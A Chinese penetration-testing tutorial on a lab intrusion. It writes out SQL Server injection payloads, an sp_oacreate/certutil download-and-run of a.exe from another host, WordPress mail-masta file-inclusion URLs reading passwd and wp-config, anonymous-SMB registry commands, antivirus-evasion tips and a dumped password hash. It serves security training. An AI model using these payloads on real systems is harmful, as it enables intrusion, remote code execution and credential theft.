vulntarge-h
字数 1267 2025-08-11 23:05:55
SQL Server渗透测试与免杀技术实战教学
前言
本教学文档基于FreeBuf上的实战案例,详细讲解SQL Server渗透测试中的高级技术,包括命令执行绕过、免杀技术、内网渗透等。所有技术仅用于合法授权测试和安全研究,严禁用于非法用途。
一、SQL注入与权限判断
1. 基础信息收集
通过联合查询注入获取数据库信息:
http://10.30.3.128/?user_id=-1 union all select '1',db_name(),'1','1',null
获取当前数据库用户名(判断是否为dbo权限):
http://10.30.3.128/?user_id=-1 union select '1','1',user,'1',null
2. 功能组件检查
检查xp_cmdshell是否存在:
http://10.30.3.128/?user_id=-1 union select '2','2',(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'),'2',null
检查SP_OACREATE是否存在:
http://10.30.3.128/?user_id=-1 union select '2','2',(select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'),'2',null
二、绕过360安全防护的命令执行
1. 启用OLE自动化过程
http://10.30.3.128/?user_id=1;exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
2. 使用SP_OACREATE执行命令
下载文件到目标系统:
http://10.30.3.128/?user_id=1;declare @shell int; exec sp_oacreate 'wscript.shell', @shell out; exec sp_oamethod @shell, 'run' , null, 'C:\Windows\System32\certutil.exe -f -urlcache -split http://10.30.3.129/a.exe c:\a.exe';
执行下载的文件:
http://10.30.3.128/?user_id=1;declare @shell int; exec sp_oacreate 'wscript.shell', @shell out; exec sp_oamethod @shell, 'run' , null, 'c:\a.exe';
三、内网渗透技术
1. 无回显命令执行处理
当遇到无回显命令执行时,可尝试以下方法:
- 通过下载并执行木马文件
- 使用DNSLOG等技术进行外带
- 尝试写入文件到可访问目录
2. 文件包含漏洞利用
发现WordPress插件mail-masta存在文件包含漏洞:
http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
使用伪协议读取文件内容:
http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=php://filter/read=convert.base64-encode/resource=c:\\phpstudy_pro\\www\\index.php
读取数据库配置文件:
http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=php://filter/read=convert.base64-encode/resource=c:\\phpstudy_pro\\www\\wp-config.php
3. SMB匿名共享绕过文件包含限制
当目标不允许远程文件包含时,可设置SMB匿名共享:
-
启用Guest用户:
net user guest /active:yes -
应用Everyone权限:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f -
指定匿名共享位置:
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f -
修改组策略:
secedit /export /cfg c:\gp.inf /quiet # 编辑gp.inf文件,修改SeDenyNetworkLogonRight secedit /configure /db c:\gp.sdb /cfg c:\gp.inf /quiet gpupdate /force -
设置文件共享:
icacls C:\share\ /T /grant Everyone:r net share share=c:\share /grant:everyone,full
通过SMB共享包含文件:
http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=\\192.168.153.128\share\a.txt
四、免杀技术要点
-
Webshell免杀:360等安全软件会检测常见Webshell特征,需要自定义编码或使用不常见的函数组合
-
可执行文件免杀:
- 使用不常见的编程语言编写
- 代码混淆和加密
- 分阶段加载恶意代码
- 利用合法程序加载恶意代码
-
内存操作:尽量避免写入磁盘,直接在内存中执行
五、密码抓取与提权
-
使用Mimikatz抓取密码哈希:
windows7 c7774443372cc3c7831fd4e974a8f7f8(mimataichangyebuhao) -
工作组环境提权:
- 检查本地用户和组
- 查找配置错误的服务
- 检查计划任务
- 查找可写目录和文件
六、防御绕过技巧
-
360防御绕过:
- 避免直接调用cmd.exe
- 使用SP_OACREATE替代xp_cmdshell
- 使用合法程序如certutil.exe进行文件下载
-
火绒防御绕过:
- 使用不常见的执行方式
- 利用系统自带工具进行恶意操作
- 分阶段执行攻击链
七、总结与防御建议
攻击者视角总结
- 从SQL注入开始,逐步获取系统权限
- 绕过安全软件执行命令
- 内网横向移动,利用文件包含等漏洞
- 通过SMB共享等技术绕过限制
防御建议
-
SQL Server安全配置:
- 禁用xp_cmdshell和SP_OACREATE等危险组件
- 使用最小权限原则
- 定期审计数据库权限
-
Web应用安全:
- 修复SQL注入漏洞
- 更新或移除有漏洞的插件
- 限制文件包含功能
-
系统安全:
- 禁用不必要的共享和匿名访问
- 定期更新安全软件规则
- 监控异常进程和网络连接
-
内网安全:
- 实施网络分段
- 监控内网横向移动行为
- 定期更换密码,避免密码重用
本教学文档详细记录了从外网渗透到内网横向移动的全过程,重点强调了绕过安全防护的技术手段。安全研究人员应理解这些技术原理,以便更好地防御此类攻击。